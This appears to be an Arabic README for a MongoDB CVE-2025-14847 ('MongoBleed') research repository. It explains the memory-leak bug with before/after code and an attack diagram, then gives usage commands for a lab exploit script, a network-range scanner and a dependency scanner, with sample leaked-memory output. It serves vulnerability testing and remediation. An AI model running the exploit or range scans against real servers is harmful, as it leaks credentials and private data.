// كود ضعيف (قبل الإصلاح)
counterHitDecompress(input.length(), output.length());
return {output.length()};  // ❌ يعيد حجم المخزن المؤقت المخصص

// كود مصحح (بعد الإصلاح)
counterHitDecompress(input.length(), output.length());
return length;             // ✅ يعيد الطول الفعلي للبيانات المفكوكة

┌─────────────────────────────────────────────────────────────────────────────┐
│                        ناقل هجوم MongoBleed                                │
├─────────────────────────────────────────────────────────────────────────────┤
│                                                                              │
│   المهاجم                         MongoDB الضعيف                            │
│      │                                    │                                  │
│      │  1. إرسال رسالة OP_COMPRESSED      │                                  │
│      │     uncompressedSize: 8192 (كذب)   │                                  │
│      │     البيانات الفعلية: ~100 بايت    │                                  │
│      │────────────────────────────────────>                                  │
│      │                                    │                                  │
│      │                          2. تخصيص مخزن مؤقت بحجم 8192 بايت           │
│      │                          3. فك ضغط ~100 بايت                         │
│      │                          4. الخلل: إرجاع buffer.length() = 8192     │
│      │                          5. محلل BSON يقرأ ذاكرة غير مهيأة           │
│      │                                    │                                  │
│      │  6. استجابة خطأ تحتوي على ذاكرة    │                                  │
│      │     مسربة كـ "أسماء حقول"           │                                  │
│      │<────────────────────────────────────                                  │
│      │                                    │                                  │
│   🔓 البيانات المسربة:                    │                                  │
│      - مفاتيح API، كلمات مرور، رموز مميزة                                    │
│      - الحالة الداخلية لـ MongoDB                                            │
│      - تكوينات تخزين WiredTiger                                             │
│      - معلومات /proc النظام                                                  │
│      - بيانات اتصالات العملاء                                                │
│                                                                              │
└─────────────────────────────────────────────────────────────────────────────┘

mongobleed-exploit-CVE-2025-14847/
├── exploit/                    # 🔴 مختبر الاستغلال
│   ├── docker-compose.yml      # مثيلات MongoDB ضعيفة ومصححة
│   ├── mongobleed.py           # برهان استغلال تسريب الذاكرة
│   ├── init/init-mongo.js      # بيانات اختبار حساسة
│   ├── test-exploit.sh         # سكريبت اختبار المختبر
│   └── README.md               # وثائق المختبر
│
├── scanner/                    # 🌐 ماسح الشبكة
│   ├── mongobleed_scanner.py   # ماسح ثغرات IP/النطاق
│   ├── sample-targets.txt      # ملف أهداف عينة
│   └── README.md               # وثائق الماسح
│
├── code-scan/                  # 📂 ماسح الشفرة
│   ├── main.py                 # نقطة دخول CLI
│   ├── scanners/               # ماسحات Docker، Python، البنية التحتية
│   ├── models/                 # نماذج الاكتشاف والثغرة
│   ├── integrations/           # رفع إلى Phoenix Security
│   └── README.md               # وثائق ماسح الشفرة
│
└── original-exploit/           # 📚 مرجع PoC الأصلي

cd exploit

# بدء المختبر (مثيلات ضعيفة ومصححة)
docker-compose up -d
sleep 10

# اختبار المثيل الضعيف (يجب أن يسرب الذاكرة)
python3 mongobleed.py --host localhost --port 27017

# اختبار المثيل المصحح (يجب ألا يسرب الذاكرة)
python3 mongobleed.py --host localhost --port 27018

# اختبار المختبر الكامل
./test-exploit.sh

cd scanner

# مسح مضيف واحد
python3 mongobleed_scanner.py 192.168.1.100

# مسح نطاق شبكة
python3 mongobleed_scanner.py 192.168.1.0/24

# مسح من ملف
python3 mongobleed_scanner.py @sample-targets.txt --json --output results.json

cd code-scan

# مسح مشروع بحثًا عن إصدارات MongoDB الضعيفة
python3 main.py scan /path/to/project

# مسح ورفع إلى Phoenix
python3 main.py scan /path/to/project --upload-phoenix

# تشغيل الاختبارات
python3 main.py test

# === مختبر الاستغلال ===
# بدء المختبر
cd exploit && docker-compose up -d && sleep 10

# تشغيل الاستغلال (المثيل الضعيف)
python3 exploit/mongobleed.py --host localhost --port 27017

# تشغيل الاستغلال (المثيل المصحح - تحقق من عدم وجود تسريبات)
python3 exploit/mongobleed.py --host localhost --port 27018

# === ماسح الشبكة ===
# مسح المختبر المحلي
python3 scanner/mongobleed_scanner.py localhost:27017 localhost:27018

# مسح شبكة
python3 scanner/mongobleed_scanner.py 192.168.1.0/24 --threads 20

# === ماسح الشفرة ===
# مسح الدليل الحالي
python3 code-scan/main.py scan .

# مسح مع إخراج JSON
python3 code-scan/main.py scan /path/to/project --json --output results.json

# مسح ورفع إلى Phoenix
python3 code-scan/main.py scan /path/to/project --upload-phoenix

[*] mongobleed - CVE-2025-14847 تسريب ذاكرة MongoDB
[*] الهدف: localhost:27017
[*] مسح الإزاحات 20-8192...

[+] offset=  117 len=  39: ssions^\u0001�r��*YDr���
[+] offset=16582 len=1552: MemAvailable:    8554792 kB\nBuffers: ...
[+] offset=18731 len=3908: MONGOBLEED_PRIVATE_KEY_DATA_123...

[!] الهدف ضعيف لـ CVE-2025-14847
[*] إجمالي المسرب: 8748 بايت
[*] الشظايا الفريدة: 42

[!] تم اكتشاف أسرار محتملة:
    • مفتاح RSA خاص
    • سر مختبر

[*] مسح 254 هدفًا بـ 10 خيوط...

[1/254] 192.168.1.10:27017 - 8.2.2 [ضعيف - مؤكد]
[2/254] 192.168.1.11:27017 - 8.2.3 [آمن]

الملخص:
----------------------------------------
إجمالي الأهداف الممسوحة: 254
المضيفات القابلة للوصول: 12
مثيلات MongoDB: 8
ضعيف: 3

================================================================================
تقرير ماسح شفرة MONGOBLEED - CVE-2025-14847
================================================================================

🚨 تم اكتشاف إصدارات MongoDB ضعيفة

1. [email protected]
   الملف: /project/docker-compose.yml
   النوع: docker-compose
   السبب: الإصدار 8.2.2 ضمن النطاق الضعيف [8.2.0 - 8.2.2]
   ✅ الترقية إلى: 8.2.3
   CVE: CVE-2025-14847

# إنشاء تكوين
python3 code-scan/main.py create-config
cp .phoenix.config.TEMPLATE .phoenix.config

# تحرير ببيانات اعتمادك
# [phoenix]
# client_id = your_client_id
# client_secret = your_client_secret
# api_base_url = https://api.securityphoenix.cloud

# مسح ورفع
python3 code-scan/main.py scan /path/to/project --upload-phoenix